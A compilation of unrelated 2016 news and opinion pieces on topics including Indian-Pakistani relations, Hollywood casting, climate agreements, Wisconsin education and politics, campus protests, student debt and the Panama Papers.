We will not go by media reports. Our requirement and request of sharing details of the Samjhauta Express terrorist attack investigations is pending with the Indian government. Despite promises, the investigations have not been shared. Lets see when will they get back to us about the outcome of the investigations of this incident in which a lot of innocent Pakistanis lost their lives, he said.

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Los Angeles:

Hollywood star Robert Downey Jr is expected to reprise his Iron Man role in Spider-Man: Homecoming.



However, former Batman star Michael Keaton is no longer in talks to play the main baddie in the upcoming remake, reported Ace Showbiz.



Downey Jr will reprise his superhero role as Tony Stark or Iron Man.



He joins Tom Holland who is tapped to replace The Amazing Spider-Man star Andrew Garfield as Peter Parker. Meanwhile, Marisa Tomei is attached to play Aunt May.



The reboot is scheduled to arrive in North American theaters on July 7, 2017.



Jon Watts is directing the film and Zendaya Coleman is tapped to play the role of Michelle.



Marvels Kevin Feige will produce along with former Sony executive Amy Pascal.

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New York:

Automobile giant Mahindra & Mahindra has become the first Indian company to join a global energy campaign led by an international non-profit group that will work with the worlds most influential businesses in setting commitments to double their energy productivity.



By signing up to EP100 campaign led by The Climate Group, the worlds largest manufacturer of tractors has committed to doubling their energy productivity by 2030, a core requirement for any business signing on to the campaign.



Sustainability is an integral part of Mahindras approach to business. By signing up for EP100, we are making a significant commitment to doubling our energy productivity by 2030 on a baseline of 2005, and hope to make a strong contribution towards achieving the climate goals agreed upon at COP21. We hope many other corporations will become a part of this campaign, M&M Executive Director Pawan Goenka said.



The announcement comes a day before Mahindra Group chairman Anand Mahindra will represent the corporate world at the high-level signing ceremony of the historic Paris climate change agreement at the United Nations on Friday.



Mahindra will be among the dignitaries, including UN Secretary-General Ban Ki-moon, French President Francois Hollande, President of the General Assembly Mogens Lykketoft and UN Messenger of Peace Oscar-winner Leonardo DiCaprio, who will deliver remarks at the opening of the signing ceremony.



The Climate Groups India Executive Director Krishnan Pallassana said EP100 aims to support businesses to help achieve and implement bold climate targets.



We are witnessing a global clean revolution that calls for a paradigm shift in energy generation and consumption; doing more with less energy simply is the way forward to a sustainable future, he said.



He expressed hope that Mahindras decision to join the campaign will inspire other companies in India to include energy productivity targets as part of a new norm for global business.
Mumbai:

Bollywood actress Katrina Kaif is likely to give a miss to this years Cannes Film Festival as she is committed to finish work on her film Jagga Jasoos.



The Morocco shoot and all remaining days have to be prioritised. Since the dates of Cannes Film Festival are clashing with the schedule of the film, Katrina had to give the film festival a miss, sources said.



Katrina made her debut appearance at the prestigious film festival in France last year.



Jagga Jasoos was slated to hit the screens in October or November 2014, but it got delayed and now it is slated to release in July this year.



It also stars Ranbir Kapoor and is directed by Anurag Basu.

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United Nations:

The historic Paris climate change agreement at United Nations (UN) is all set to be signed by more than 150 nations on Friday. Ahead of the landmark signing of the agreement, India has said that it will be a test for the developing and developed nations on how they walk the talk on cutting emissions and eradicate poverty.

Developed world will be tested whether it is adopting sustainable consumption in their own countries and provide means of implementation to developing countries or not, Environment Minister Prakash Javadekar said at a session on sustainable development here yesterday.

It will be a test for the developing countries on how comprehensively they plan to achieve the Sustainable Development Goals and how they utilize properly the funds provided to them by the developed world.

Both groupings will be tested on how they walk the talk and eradicate poverty, he said.Javadekar added that as mandated by the 2030 Agenda, the processes for follow up and review must remain voluntary, country-led and should reinforce mutual learning and exchange of best practices.



The purpose of the review mechanism must be to enhance the implementation of the agenda on the ground and to this extent ensure the provision of enhanced level of financial and technological support to developing countries, he said.



He stressed that the SDGs will have very significant resource implications and the world will require a total investment of USD 5-7 trillion per year while the developing countries need alone could be around 3-9 trillion per year.



He said according to preliminary estimates for India, the countrys financial requirement is pegged at USD 500 billion per annum for the next 15 years for food security, infrastructure, climate change, mitigation, adaption, health and education.



(With PTI inputs)

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New Delhi :

It is the foreign brands like Google and Facebook that rank on top in terms of their influence, while domestic ones are placed lower, as per the new list of ten most influential brands in the country. According to the study by global research firm Ipsos, Google ranks on the top and is followed by Facebook, Gmail, Microsoft and Samsung in the top fiveall of which are foreign brands.

While another foreign brand WhatsApp is sixth on the Indias top 10 most influential brands, Flipkart is the top ranked Indian brand at seventh place.

The other two Indian brands on the list - SBI and Airtel-are ninth and tenth, US based Amazon is placed at number eight.

Brands are more than just corporate logos. They have meaning, personality, even attitude. The role brands play in our lives and the world at large is becoming more important.

From improving our personal well-being to transforming the communities and societies we live in, many brands today are driven to make a dent in the universe, Ipsos, India Managing Director Amit Adarkar said.

The Most Influential Brands study that ranks brands according to their influence in 21 countries including Australia, Belgium, Brazil, China, the US and UK, was conducted in December 2015.

Ipsos study has measured the biggest, most well-known and/ or highest spending brands only. As a result, the study did not look at the entire market.

The Ipsos Most Influential Brand Study evaluates over 100 brands across 21 countries and involved 36,600 interviews. In India, where the study was conducted for the first time, we canvassed the country to ask more than 1,000 Indians online to assess more than 100 brands, Ipsos said.
"I've never seen a more pious nation (than Korean) before." Recently Gao Xiaosong, a well-known celebrity in China, shares his impression and review about his travelling to South Korea in an online talk show "Xiaosong Pedia" last Friday.

Gao, a top Chinese intellectual, composer, songwriter, music producer and director, says that Korean people are so pious meanwhile they love beauty so much.

He says he had heard the piety of Korean Christians before visiting the country. He was shocked at the news of 23 South Korean missionaries captured and held hostage by Taliban in 2007. For this even revealed their high devoutness for the Lord. In Gao's eyes, it should be devoted and bold enough to evangelize in Afghanistan, such a dangerous country where rare western missionaries stay, given its Islamic religion and the background that Christians who preach there caught are identified as pagans, even combined with the fate of facing being beheaded.

You can imagine how zealous Christians are in South Korea.

Moreover, he found that local Korean churches are the most enthusiastic and pious ones when living in Los Angeles.Yet these are indirect sayings or impression, this time he felt truly astounded on this land.

First of all he mentioned women were dancing at Seoul squares on a cold day, who were thought as middle-aged and retired square dancing women. But he came to know that they were Christians who sang songs with zeal on the stage and off the stage Christians provided social service including hair cutting and distributed food to the poor, disabled and lonely elderly people.

He found that almost the poor filled the seat, identified due to the smell, however, Christians served them with enthusiasm despite this. This moved Gao very much.

Besides, numerous Christians "sing for Christ" in the streets. Gao confesses that he has never seen such a pious place where he feels "the love for the Lord" in the far east country.

Then he explains several reasons why such love for the Lord is found in Korea.

From one aspect, Christianity gave much comfort to the Korean people, an "Asia orphan" and Christian charitable organizations gave them a lot of relief and care.

Meanwhile the religion played an important role in the Korean War and their culture preservation. Furthermore, churched cultivated many revolutionary martyrs who sacrificed to break away from Japan's colonizing in its modern history.

"They devoted themselves to their country and people, therefore, Christianity developed well in South Korea.Many people involving the subsequent president Syngman Rhee were Christians." Said Gao.

It surprised him most that it had reached 100,000 to 20,000 Christians in Korea only after over a decade since the missionaries came to Korea in 1884, much later compared to that of China and Japan. What's more, it began sending missionaries out in 1912, while other countries have Christian traditions of thousands of years. "This is so interesting", he said.
Paris:

Najim Laachraoui, one of the Brussels airport bombers, has been identified by several Frenchmen held hostage by Islamic State in Syria as one of their prison guards, sources close to the investigation said today. According to one of the sources, four French journalists kidnapped and held in Syria from 2013 to 2014 had identified a guard known as Abou Idriss.

One of the journalists, Nicolas Henin, has formally identified Abou Idriss as being Najim Laachraoui, his lawyer Marie-Laure Ingouf said, confirming reports in French newspapers.

Belgian prosecutors have said Laachraoui travelled to Syria in February 2013 to join up with IS forces.

There was no further trace of the Belgian national until he was registered under a false name at the border between Austria and Hungary in September 2015.

Laachraoui, 24, was one of the two suicide bombers who struck Brussels airport on March 22, while a third attacker blew himself up at on a metro train, with the two attacks killing 31 people.

Prosecutors have also linked him to Novembers attacks in Paris in which 130 people died, saying his DNA was found on a suicide vest and a piece of cloth at the Bataclan concert hall where 90 people were killed.

Police also found his DNA on explosives used at the Stade de France, leading investigators to believe he was the bomb maker in both the French and Belgian attacks.

The former French hostages have already identified two Frenchmen as being among their jailers when they were held in Syria.

One, Mehdi Nemmouche, is in custody accused of killing four people in an attack on the Jewish museum in Brussels in 2014.

The other is Salim Benghalem, who has been sentenced in absentia in France for recruiting for IS and is listed as a foreign terrorist combatant by the United States.

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Mumbai:

The venue where JNU Students Union leader Kanhaiya Kumar was scheduled to address in the city tomorrow morning has been changed allegedly under pressure from Sangh Pariwar constituents, the event organisers claimed today.

The event Student Youth Assembly Against Discrimination, which was earlier scheduled to be held at the Janata Shikshan Sanstha in Worli, has now been shifted to Adarsh Vidayalay in Tilak Nagar here.

The programme has been organised by a number of Left wing organisations including, Student Federation of India (SFI), All India Students Federation (AISF), All India Demoratic Students organisations (AIDSO), Purogami Yuvak Sanghathana (PVS) and Chhatrabharati.

Addressing a press conference here, the organising committee members alleged the change in the venue was due to the pressure created by the Sangh Pariwar constituents on the machinery.

Despite abiding by the required criteria we were denied permission due to pressure from certain quarters as we did not get any written assurance from police for protection, Abhilasha Shrivastava, SFI secretary and member of the event organising committee, said.

When we decided to hold the programme, we thought that the biggest problem will be the ongoing Mumbai University exams. But during our campaign, we found that that was not an issue. The students were very welcoming. They wanted the leaders of various universities to come over here and interact with them. The problem has been created by police and the government machinery, she added.

Shrivastava further said, The administration is being pressurised so that student leaders are unable to express their views.

Another member of the event organising committee, Dhanajay Kangude alleged, The constituents of Sangh Pariwar are threatening organisers through various possible means.

They pressurised Janata Sikshan Sanstha to get the programme cancelled.

Besides Kanhaiya Kumar, Allahabad University Student Union president Richa Singh, vice-president of JNUSU Shehla Rashid and others will speak on the occasion and advocate Irfan Engineer and Teesta Setalvad will be among those who will remain present there.

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During breaks, students dart in and out of her office like its their own. But the second she steps on the podium, she has the attention of the whole class.

In her 14 years as Chippewa Falls Senior High Schools orchestra director, Molly Malones favorite part of her job has always been connecting with her students, getting to know them and watching them grow.

This April, she was honored as one of 100 teachers in the state  and just two in Chippewa County  to receive the 2016 Herb Kohl Foundation Teacher Fellowship.

It definitely is an honor, Malone said. I almost dont even want to think about it because, to me, its just what I do.

The Herb Kohl Foundation awards 100 teachers, students and principals in Wisconsin.

While she understands many of her students wont go on to be music majors, she loves seeing their enthusiasm and willingness to be challenged by new things.

When she started at the school in 2002, she said the entire 6-12 grade music program had 101 string players. Now, there are 165 in the high school alone.

In addition, she started the Wire Choir program, kind of like an a cappella group for string instruments that involves choreography.

Where my freshmen are right now is about where the high school would have been when I started here, playing wise, she said. In all her classes, its exciting for me to see how far we push them. Middle school teachers are doing an excellent job of giving them a good, solid base to start.

But its her passion and commitment outside of school time that really caught the eye of Principal Becky Davis.

No matter how early or how late, or if she has to skip a meal, Davis said she knows Malone will stay at school as long as she needs to make sure her students get in their practice time. She also invites all of the wire choir students to her cabin at the end of the summer to practice skill building and team bonding activities.

She is just uncommon in the deep love she has for her kids, Davis said. You dont expect teachers to spend every waking moment working on things that have to do with their students, you dont expect anyone to invite all their students to their cabin for a weekend of bonding, to be giving of their own private resources to kids in need. Teachers do that, but she puts all of those pieces together.

Davis said she nominates one teacher a year for the Herb Kohl Fellowship. She is, however, fortunate to have a very long list of teachers she thinks are worthy of nominating. This year, Malone topped that list.

Another good indication of a great teacher is the feedback they receive from students. Davis said shes never received as positive of feedback as she has from Malones students.

We are beyond blessed to be able to have her in Chippewa Falls working with our kids because she could go anywhere, and they would be thrilled to have her, she said. We are very lucky.

They arent the only ones feeling lucky.

Jane Ash, a first grade teacher at Lake Holcombe School District, nominated their guidance counselor, Barb VanDoorn, for the fellowship. Ash was very pleased to hear VanDoorn had received the honor.

She goes so far above and beyond what the staff is expected to do, Ash said. She puts so much effort and caring into making sure the kids succeed.

VanDoorn has been the pre-k through 12th grade guidance counselor for 22 years, which is a job in itself, but Ash said she takes it far beyond that.

With a referendum that passed April 5, Ash said VanDoorn was quick to take up fundraising opportunities for the school, and put together a spring talent show to showcase student talents and share those with the community.

When the district received Chippewa Countys best school district report card from the Wisconsin Department of Public Instruction last year, VanDoorn put together three different celebrations for the elementary, middle and high schools.

Shes constantly bubbling over with ideas, Ash said. And it always makes way more work for herself but she just does it, puts all kind of energy into it.

VanDoorn said she was honored to be nominated for the fellowship, and proud to be a part of the Herb Kohl Foundation.

To get a nomination from people you work with, respect, that was really cool, she said. And then to be part of something (Herb Kohl) created, and to be recognized through that, that was pretty special. He does a wonderful job of recognizing people and promoting them, making them feel good about themselves and their profession.

However, the most rewarding part of her position is the opportunity she has to watch the students grow into adults, and to help them succeed.

Her closeness with families allows her to stay in touch, and she never tires of hearing their success stories.

With the fellowship, both Malone and VanDoorn received $3,000 to use personally, and each school receives another $3,000.

VanDoorn already has plans for her money. With the recent developments in mental health awareness in schools, she wants to become as proficient in the subject as possible. She already has training as a mental health first aid instructor, but wants to use the funds to take a course in adolescent mental health first aid training.

There are so many students who have mental health concerns under the surface, she said. Sometimes we dont address them or as adults we dont know how to respond, just let it go. If I can help out a little bit more there, the kids can be a little more successful.
For weeks, attention on House Speaker Paul Ryan has focused on 2016 and the prospect the Wisconsin congressman might become the beneficiary of a deadlocked Republican National Convention seeking an alternative to Donald Trump and Ted Cruz. Ryan has now firmly rejected that prospect.

In fact, Ryans actions strongly suggest  especially his multi-faceted campaign-style effort involving fundraising, politics and substance  that, while working to help Republicans in 2016, he is also thinking beyond this election to 2017 and his likely role in the years beyond.

For the unspoken bottom line of Ryans efforts is that, if current trends continue, he is likely to wind up as the nations undisputed top Republican next year, following the GOPs probable loss of both the presidency and its current majority in the Senate.

As such, he would not only become the main source of alternative policies to those of the next Democratic president, but also the national voice of a shattered party seeking to reconstruct and redirect itself for 2018, 2020 and beyond.

That can only happen if he can maintain the Republican House majority that population trends and GOP gerrymandering have made relatively secure, barring a party-wide electoral disaster.

This explains his current top priority: raising money from districts designed to lock in the party majority. So far this year, he has raised $17.2 million, primarily for GOP House candidates. He will play a crucial role as convention chairman in facilitating as much party unity as possible after the bitter presidential fight.

While confronting the GOPs short-term needs, however, Ryan has hardly put aside what he regards as the key to its long-term efforts, an agenda of substantive proposals dealing with issues like income inequality, immigration, sustaining entitlements and a badly skewed tax system. The latter would likely have been his priority if he had remained chairman of the tax-writing Ways and Means Committee.

The election year and the years-long gridlock between Congress and President Barack Obama make dealing with these issues impossible this year. Indeed, despite his confident vows of demonstrating a changed atmosphere by passing a budget, it is unclear if Ryan can achieve that minimal evidence of a functioning House.

Next year could be different. The next president  whether Hillary Clinton or someone else  will enter the White House with a legislative agenda honed on the campaign trail. But Ryan has made clear he would challenge a Democratic president with GOP alternatives designed to restore the executive-legislative dialogue that has been absent in recent years.

Interestingly, Ryan has also been expressing his foreign policy views, following an overseas trip that seemed to signal to other countries that he is the Republican Partys de facto leader, regardless of the presidential election. Its doubtful hed do that if he expected Donald Trump or Ted Cruz to win the White House and set the countrys foreign policy.

Some longtime Ryan watchers still believe he is ambivalent about seeking the presidency. He ruled out a 2016 race early on, making clear his short-term priority was his policy agenda. After running as the 2012 Republican vice presidential nominee, he indicated he wanted to delay any thought of a second national campaign until his children are older. Ryan has never moved his family to Washington and still spends most weekends at home in Janesville, Wisconsin.

Still, he is only 46, and the way fellow members drafted him as speaker and look to him as a unifying force at the convention speaks to his stature within the party. That can only increase in future years, especially if 2016 is the electoral disaster many Republicans expect. In that event, the GOP will need a widely respected rallying point, and Ryan will be the obvious choice.

Besides, if Democrats win a third consecutive term in 2016, it would be only the second time in 76 years that a party has done so. And a longer run has been out of reach since the early 1900s, save for the victories of Franklin D. Roosevelt and Harry Truman in the unique atmosphere during and after World War II.

Ultimately, the Republicans will presumably regain the presidency, and no one looks more likely at this point to lead that effort than Paul Ryan.
Hundreds of UW-Madison students and professors marched through the university Thursday, protesting the recent arrest of a black student and racist incidents on campus, and accusing UW officials of doing more to protect the institutions image than they have to solve long-festering problems with its racial climate.

Up to 400 people gathered at the top of Bascom Hill at 11:30 a.m. Thursday, about the time one week earlier when a UW-Madison police officer entered a classroom to talk with Denzel McDonald, a senior who police say spray-painted several buildings with anti-racist messages. McDonald was later arrested on vandalism charges.

The arrest became another flashpoint for students and professors near the end of a semester in which the university was rocked by several high-profile, racially charged incidents.

Like their peers at colleges across the country, minority students at UW-Madison have pushed administrators in recent months for changes to improve their experiences on the predominantly white campus. They have also shared examples of racism they have encountered on social media under the hashtag #TheRealUW.

How many times do we have to do this? graduate student Michael Davis said at the start of the demonstration Thursday.

The university wants us to believe that this is weird, its rare, Davis said of racist incidents. Its been happening since the inception of UW-Madison.

At Thursdays protest, students taped a list of demands to the statue of Abraham Lincoln at the heart of campus, calling for McDonald not to face criminal charges, for the officers who arrested him to resign and for students and faculty to wield control over the UW Police Departments hiring and firing decisions. The last demand echoes calls from local activists, some of whom helped organize Thursdays protest, for community control over police in the city of Madison.

Students also marched down Bascom Hill behind a Black Lives Matter banner, occupied College Library for about 45 minutes and shut down several intersections before ending their demonstration at the spot on Library Mall where McDonald was arrested last week. Several wrote messages of support for McDonald in chalk on the sidewalk.

Some of the students held signs repeating a message McDonald is accused of writing on a university building: Racizm in the air. Dont breathe.

Chancellor Rebecca Blank acknowledged in a statement after the demonstration that this has been a difficult and exhausting semester for our communities of color, and said she understands people are frustrated that changes havent come more quickly.

But Blank also pushed back against the students demands.

Embedded in the student demands are requests for actions that I do not believe are reasonable, or even lawful, for me to take, Blank said. A UW-Madison spokesman said that included the students call for McDonald not to face criminal charges and for the UWPD officers to resign.

No decision on vandalism charges

Several speakers at Thursdays protest said they believed police went after McDonald more aggressively than they have other students involved in a string of high-profile incidents that have made news on the campus this semester, such as an Asian student who spat on and pushed a black student and her friends in a campus dorm in March. That student, Matthew Hsieh, was not charged criminally for the incident but received citations for underage drinking and disorderly conduct.

UW police have apologized for interrupting McDonalds class to make contact with him last week, but said his graffiti caused more than $4,000 in damage and officers had tried several times to contact him through other means before going to the class.

Police have recommended McDonald face 11 criminal charges for the graffiti, as well as a charge of disorderly conduct for threatening a bystander who tried to stop him from spray-painting.

The Dane County District Attorneys Office said Thursday that prosecutors have not made a decision on charges against McDonald, but said he has been tentatively scheduled to make an initial appearance in court on May 12.

Action or just talk?

Blank also defended the steps she said UW administrators have taken to improve the racial climate on campus. Officials plan to require cultural competency training for all new students starting next fall and will fund more mental health support services for minority students.

UWMadison is committed to fostering a campus environment where every student can learn, feels safe and valued and is able to thrive, Blank said. We have not sat idly by as these problems have grown more difficult.

But many students at Thursdays protest criticized UW administrators  including Blank, Dean of Students Lori Berquam and UW Police Chief Sue Riseling  for what they describe as a tepid response to problems on campus that has prioritized the universitys public image over real changes.

They love to put us on brochures, they love to put students of color (and) black students on the webpage, Davis said. But when we ask for student power there is no response.

The steps UW officials have announced are a good start, said African-American studies professor Michael Thornton, but the measure of the universitys commitment will be whether administrators commit to funding programs that tackle long-standing problems with race.

Weve had this conversation for the last 20, 30 years, Thornton said. Whats disheartening, especially for students, is that the university talks a good game, but it really doesnt follow up on it.
A Brown County judge issued an arrest warrant Wednesday for a De Pere businessman whose green technology company owes the states job creation agency more than $1.2 million.

The arrest warrant for Ronald Van Den Heuvel is related to a lawsuit to which the Wisconsin Economic Development Corp. is a party. It comes a day after Van Den Heuvel was indicted on unrelated federal bank fraud charges.

Last June, Brown County Judge John Zakowski placed the company, Green Box, in receivership so that creditors including WEDC could be repaid.

Zakowski issued the warrant after finding Van Den Heuvel in contempt of court for violating a provision in the receivership order that barred his company from transferring or disposing of any of its assets. Van Den Heuvel sold a piece of equipment to an Atlanta company that moved it to South Carolina, and was unable to retrieve the equipment or post $650,000 bond.

In a separate matter, Van Den Heuvel was charged Tuesday by a federal grand jury with 13 counts related to an alleged bank fraud scheme that resulted in a loss of more than $700,000 to Horicon Bank.

Van Den Heuvel has not returned calls for comment, though he told a Green Bay TV station Tuesday that he has done nothing wrong.

The indictment states that in March 2008, the bank turned down a request for a $7.1 million loan to one of Van Den Heuvels many companies because their attempts to investigate Ronald Van Den Heuvels financial record convinced them that Ronald Van Den Heuvel was not a good credit risk.

WEDC loaned $1.12 million to the company in October 2011 to help create 116 jobs as part of a more than $13 million project to turn fast-food wrappers and other waste paper into synthetic fuel and paper products while producing zero waste.

After the company defaulted, WEDC agreed to release collateral liens on some of the companys equipment in October 2013 to assist the company in raising additional capital for their projects given the agencys financial stake, a WEDC spokesman said last year. WEDC amended the contract again after the company defaulted a second time in May 2014 to help the company with cash flow. After a third default notice in March 2015, WEDC sued.

Van Den Heuvel, who at the time owed millions in legal judgments, did not mention previous legal issues in his May 2011 application and a staff review did not identify any weaknesses in the application other than that it was a startup company. WEDC has since made changes to improve its staff review process.

The Brown County Sheriffs Office has been investigating Van Den Heuvel since January 2015 for allegedly defrauding WEDC and other investors.

Brown County District Attorney David Lasee said Wednesday that investigation remains ongoing.
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Madalene dEtiveaud was always drawn to event design and channeled this creativity into chairing local fundraisers and galas on a volunteer basis. Five years ago, the natural party planner turned this hobby into a career and launched her own event-planning company.

DEtiveaud isnt alone. In fact, event planners, along with meeting and convention planners, are on the rise nationally. According to the Bureau of Labor Statistics, the number of planners increased to 100,000 nationally in 2014. The bureau projects the average growth rate to be 10 percent, which is faster than the national average for all occupations at 7 percent.

This national trend is being reflected in Fairfield County, according to Lisa Mercurio, vice president of the Fairfield County Information Exchange at the Business Council of Fairfield County. In the Bridgeport-Norwalk-Stamford metro area, she said 240 individuals identified as event planners out of a total professional population of 417,000.

Though the percentage is small, she said there is solid potential for growth, with the outlook for event planners in the New York City area forecast at twice the national average.

Its a complicated job, and includes coordinating all aspects of an event or professional meeting, from scouting venues to arranging transportation. Although most work for private companies including the Fairfield County-based Gartner or Reed Exhibitions, about 1 in 10 event planners were self-employed, like dEtiveaud.

The Darien resident opened her event planning firm, Bash, in Greenwich last June. Since 2011, the party pro has executed weddings and celebrations throughout Fairfield County and the greater New York area, from milestone birthdays and anniversaries to bar mitzvahs and graduations.

Living in the region for 20 years, she understands the demographic and what services it needs. She attributes the industrys popularity, as well as her companys success, to the culture of Fairfield County.

The reason why wedding planner and event planners are working well in this area is because of the community here, she said. Theyre career-driven, educated busy people who dont have time to deal with planning an event.

Like dEtiveaud, Westport-based planner Michele Sinacore thinks Fairfield County is an ideal location to be in the event planning industry. She previously worked in event marketing for larger companies in New York City and then started consulting for private clients in 2008. When she moved from the city to the suburbs six years ago, she immersed herself in wedding, anniversary and celebration planning across Fairfield and Westchester counties.

As an experienced planner, Sinacore said there is a good mix of clients, from families wanting to host an anniversary party to large companies throwing a winter gala. People are busy and dont have time to plan these celebrations, she said, which has helped her planning company, Michele Sinacore Events, thrive. She now has between 60 and 80 clients in total, and has expanded her operation to include another full-time planner and associate planners.

Its an exciting time to be industry, she said. People are looking for larger events like weddings, but also its a time for specialization, like creating dessert tables.

Jeffrey Selden, managing partner at Marcia Selden Catering & Event Planning, has been in the industry for more than 20 years and doesnt see it declining anytime soon. Previously in the catering and events departments at some of New York Citys luxury hotels, Selden joined his sister, Robin, and mother, Marcia, at the family business based in Stamford.

Thankfully, clients still need and will always be getting married and have family celebrations, mitzvahs, and high-end corporate parties, he said. Clients are willing to spend money on celebrating with their colleagues and on their personal events to enjoy and celebrate milestones with gatherings rather than buying material items.

For individuals hoping to break into the industry, Sinacore recommends gaining experience in both the front end, like party design and floral arrangements, as well as negotiating with venues and understanding how catering works.

Like Sinacore, some of Seldens clients became interested in the industry after hosting their wedding or house party. What they dont understand, he said, is that planning for yourself is much different than planning for clients.

Everyone seems to think that event planning is the sexy, fun and easy job, he said.

Megan.Dalton@scni.com; 203-625-4411
Student debt has reached alarming levels in the U.S. As of mid-November 2015, MarketWatch estimated the total student debt to be just under $1.32 trillion and growing at a rate of just over $2,726 per second. Various sources report that the average college graduate from the Class of 2015 was burdened with around $33,000 to $35,000 of student loan debt to repay.

Even with a great job after graduation  and that is certainly no guarantee in this market  paying off such a large debt takes time and detracts from other spending and saving needs, including retirement. Graduates are probably thinking more about homes and other savings goals, but a recent study by LIMRA shows how important it is to consider the retirement aspect.

Student Loan Debt Could Keep You from Saving for Retirement

The LIMRA Secure Retirement Institute analyzed the impact of student debt on a student's projected nest egg at retirement and found that an outstanding student loan debt of $30,000 after graduation reduces the retirement savings by $325,000. At $50,000 of debt, the reduction is almost $530,000.

Millennials have been particularly hard hit by the combination of high college costs and a deep recession with a long and slow recovery. A sizable number of millennials were either unemployed or underemployed for some time after graduation, magnifying the effect of their student loan burdens. This in turn has contributed an overall lower savings rate in general  whether it is for a down payment, retirement, or simply to maintain an emergency fund.

Younger workers understand the importance of retirement programs but are having a difficult time contributing to them. Contributions are more important than ever, as defined benefit pensions are few and far between. Only 10% of Millennials are likely to have access to a defined benefit program, thus 90% are going to have to fund their own retirement partially or fully. A lack of contributions in early years drastically reduces the compounding effect that builds a good retirement nest egg.

Millennials who are offered defined contribution plans like 401(k)s generally participate in the programs, but they save at a lower rate. Those without student loan burdens are 60% more likely to contribute to the maximum of their employer's matching benefits. It is a reasonable assumption that money that is not going toward matching benefits is being used to pay down debt as quickly as possible.

At some point, students and their parents must look at a return on investment. Would an investment of $30,000 in debt make a large enough difference in pay over the course of a lifetime to recoup $325,000 in retirement fund losses? Even without taking the time value of money into account, over a forty-year career, it would require less than $10,000 in extra annual salary throughout your career to make up the difference.

There is no obvious answer, since it depends on the career path of an individual. Degrees do not guarantee success and lack of them does not guarantee failure. However, it should make a student pause about the relative value of his or her education and the average pay in the chosen post-graduate field. Are you getting the most for your educational dollar and could you accomplish the same life goals at a less-expensive school?

During the college years, you are likely to say you are getting your money's worth. You may not think so when you are still paying off student loan debt in your thirties. LIMRA is suggesting that you take a long view with respect to educational debt and quality of life  and retirement.
Panama Papers and Political Peril

What do Pakistani Prime Minister Nawaz Sharif, Spanish Minister of Industry, Energy and Tourism Jose Manuel Soria, Icelandic Prime Minister Sigmundur Gunnlaugsson, UK Prime Minister David Cameron, and Russian leader Vladimir Putin have in common? They are all government officials under pressure, after being linked to foreign tax havens in the "Panama Papers." The so-called Panama Papers are more than 11 million confidential documents stolen from Mossack Fonseca  a Panamanian law firm specializing in setting up shell corporations and trusts as tax havens  and leaked to the world press over the past 14 months.

Soria and Gunnlaugsson have already resigned, while as of this writing, Sharif left Pakistan for a medical procedure, raising doubts about his return. British Prime Minister David Cameron has fended off questions about his ownership interest in an offshore trust which he sold before becoming Prime Minister, and Russian President Vladimir Putin has also faced questions about indirect connections through friends and associates.

All these high-profile imbroglios have one other thing in common: they do not appear at this point to be illegal. The hypocrisy of tax avoidance practices can bring down politicians and prominent figures, but to many millionaires and billionaires, the outing of their overseas investments in shell corporations is merely a public relations annoyance. That can change if the public outcry is such that it promotes reforms in worldwide tax laws. Such changes may end up being the true legacy of the Panama Papers.

Shining a Light on the Problem

The revelations from the Panama Papers are the result of months of painstaking work by the International Consortium of Investigative Journalists (ICIJ). With individuals from a vast number of countries being implicated in the papers, it took a coordinated network of worldwide journalists to do the investigative work needed to connect the dots properly. Over 214,000 offshore entities were studied, encompassing over 15,600 shell corporations and 200 different countries and territories.

ICIJ confirmed what we already knew  that wealthy and powerful individuals take advantage of offshore shell corporations to hide their true wealth for a number of reasons. Even so, the magnitude of the findings was eye opening.

The real enablers, if not the driving forces, are the banks that are the direct connections to wealthy clients. The ICIJ analysis shows that Mossack Fonseca worked with over 14,000 different banks, law firms, and other middlemen to manage wealth through offshore companies, with some of the biggest banks as major players. HSBC and its affiliates are responsible for over 2,300 such companies, while UBS added another 1,100. Participation of the larger international banks should come as no surprise  they are likely to have more wealthy clients seeking tax havens.

Drawing the Lines of Responsibility

It is important to emphasize that there is nothing inherently wrong with setting up overseas corporations. You are welcome to take advantage of every tax advantage offered by overseas corporations, and businesses have plenty of legitimate reasons for setting up overseas entities. What is wrong is the use of such corporations in order to engage in illegal activities, such as laundering money or avoiding taxes through concealing your ownership share.

If you properly declare your overseas wealth to the right authorities  in the US that is the IRS, generally through Form 8938 as required by the Foreign Account Tax Compliance Act (FATCA)  your taxes are correctly assessed and all is well as long as you pay that tax. If the amount of tax is legal but inadequate in the eyes of government or the rules make tax fraud very difficult to enforce, it is up to the government to change the tax laws. Momentum is building to do just that, given worldwide reaction to the Panama Papers combined with the wave of Bernie Sanders-induced populism.

Where does the blame for the current situation lie? The individual dodging taxes by underreporting true wealth is clearly at fault, but identifying the dodgers is difficult based on the structures set up by the law firms and banks involved. If there is evidence that a bank or law firm knows the overseas entity is being used for illegal purposes, they clearly share culpability  but to what level are banks or incorporators like Mossack Fonseca required to monitor the activity of their clients? If the goal is to close off tax havens, the current level is clearly insufficient.

Cracking Down

Regulators worldwide hope to seize on this opportunity to crack down on tax avoidance through offshore shell companies. The Organization for Economic Co-operation and Development (OECD) recently called a meeting of tax officials from multiple nations to seek a common response. Officials from Britain, Germany, France, Italy, and Spain announced new rules to take effect in January 2017 designed to be a "hammer blow against those that would illegally evade taxes and hide their wealth in the dark corners of the financial system."

Where is the US in this effort? It is not leading the way, as one might expect. Keep in mind that Delaware, Wyoming, and Nevada have reputations as low-tax homes for corporations. Even within the European announcement there were rifts, according to The Guardian, who reported that the other participants were pushing Britain to extend the rules to all trusts instead of only those that "generate tax consequences." China and Russia are also said to be against the rules announced in Europe, and other G20 countries have yet to sign on.

The fact is that many governments have self-interest in preserving certain aspects of tax havens. As a result, assembling worldwide agreement on how to deal with them is a daunting task indeed. A USA Today editorial by Pulitzer Prize-winning journalist David Cay Johnston suggests a two-fold approach for US compliance: require disclosure of true ownership of shell companies using the Commerce Clause as justification, and shift the efforts of the Justice Department from fining banks and bankers to prosecuting them. The first recommendation is likely to occur; the second seems unlikely although it certainly would be effective.

The Takeaway

The very wealthy will always manage to find ways to take greater advantage of legal tax loopholes than the rest of us, and such loopholes will never be completely closed. However, illegal activity is an entirely different matter, and we welcome legislation that improves the transparency of ownership of offshore entities. Take advantage of lower tax rates if you want, but do not try to avoid taxes entirely.

It remains to be seen if the flood of information released by the Panama Papers can sustain enough momentum to effect long-term change in offshore corporations and trusts. Expect a tremendous fight from those involved in secretive dealings, but expect that fight to be mostly held behind the scenes. It will require cooperative effort and persistence to overcome the power of nearly $22 trillion in hidden assets.

